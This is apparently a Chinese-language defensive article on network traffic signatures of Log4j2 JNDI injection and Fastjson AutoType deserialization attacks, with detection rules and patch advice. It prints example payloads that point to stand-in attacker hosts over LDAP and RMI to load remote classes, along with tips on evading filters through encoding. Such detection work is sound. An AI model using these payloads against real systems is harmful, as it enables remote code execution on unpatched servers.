文章目录
- 一、Log4j2流量特征分析
- 1. 漏洞原理简述
- 2. 核心流量特征
- (1)请求特征
- (2)响应特征
- (3)日志特征
- 3.检测与防御建议
- 二、fastjson流量特征分析
- 1.漏洞原理简述
- 2.核心流量特征
- (1)请求特征
- (2)响应特征
- 3.检测与防御建议
一、Log4j2流量特征分析
攻击链:
Log4j2:恶意请求 → JNDI解析 → LDAP重定向 → 加载恶意类 → RCE
1. 漏洞原理简述
Log4j2漏洞(CVE-2021-44228)源于JNDI注入机制。当应用程序记录包含${jndi:ldap://attacker.com/Exploit}
的恶意字符串时,Log4j2会解析该表达式并加载远程恶意类,导致**远程代码执行(RCE)。
2. 核心流量特征
(1)请求特征
- 协议标识符:
请求中出现jndi:ldap://
、jndi:rmi://
、jndi:dns://
等协议关键字,常出现在HTTP头(如User-Agent
、Referer
)或URL参数中1,2,9。
示例:GET /search?q=${jndi:ldap://malicious.site/Exploit} HTTP/1.1 - **编码混淆** 攻击者使用URL编码(如`%6a%6e%64%69`代替`jndi`)或大小写转换(如`JnDi`)绕过基础检测。
(2)响应特征
- 异常堆栈信息
响应包中出现javax.naming.directory.InitialDirContext
等JNDI相关类名,或JNDI lookup successful
日志。 - 外联行为
成功利用后,服务器向攻击者控制的LDAP/RMI服务器发起连接,流量中可见非常规端口(如1389)的TCP请求。
(3)日志特征
- 高频异常记录
日志中频繁出现含JNDI字符串的异常条目(如${env:os.name}
动态解析失败)。
3.检测与防御建议
检测手段 | 防御措施 |
---|---|
正则匹配:\$\{.jndi:(ldap\|rmi).} | 升级至Log4j2 2.17.0+并移除JndiLookup类 |
监控非常规外联(如LDAP非默认端口) | 设置log4j2.formatMsgNoLookups=True |
分析异常堆栈中的JNDI类名 | 网络隔离:限制服务器对外访问权限 |
二、fastjson流量特征分析
攻击链:
Fastjson:恶意JSON → AutoType加载危险类 → JNDI注入/本地代码执行
1.漏洞原理简述
Fastjson漏洞由反序列化AutoType功能引发。攻击者构造含@type
字段的JSON数据,指向危险类(如com.sun.rowset.JdbcRowSetImpl
),触发JNDI注入或本地恶意代码执行。
2.核心流量特征
(1)请求特征
- JSON结构异常
必含@type
字段,值指向高危类(如BasicDataSource
、JdbcRowSetImpl
)。
常见JSON结构不闭合(如缺少花括号)或含fastjson
关键字。
示例:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit"}
- 协议注入
请求体中嵌入ldap://
、rmi://
等协议地址,常伴随Base64编码。
(2)响应特征
- 错误状态码
响应状态码多为400 Bad Request或500 Internal Server Error,错误信息含fastjson
、autoCommit
等关键词。 - 无回显攻击痕迹
利用DNSLog平台时,响应包含dnslog.cn
等域名;成功执行后可能返回"commit":true
。
3.检测与防御建议
检测手段 | 防御措施 |
---|---|
匹配JSON中的@type 高危类名 | 升级Fastjson至1.2.83+并启用SafeMode |
监控DNSLog域名请求 | 配置WAF拦截含${ 、@type 的请求 |
分析HTTP错误日志中的反序列化异常 | 禁用AutoType功能 |